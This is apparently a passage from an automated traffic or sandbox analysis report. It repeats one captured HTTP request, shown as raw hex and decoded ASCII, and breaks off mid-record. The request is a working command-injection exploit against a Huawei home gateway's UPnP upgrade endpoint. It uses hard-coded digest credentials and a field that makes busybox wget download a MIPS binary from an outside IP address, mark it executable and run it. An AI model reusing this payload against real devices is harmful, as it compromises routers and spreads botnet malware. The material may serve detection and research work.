65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 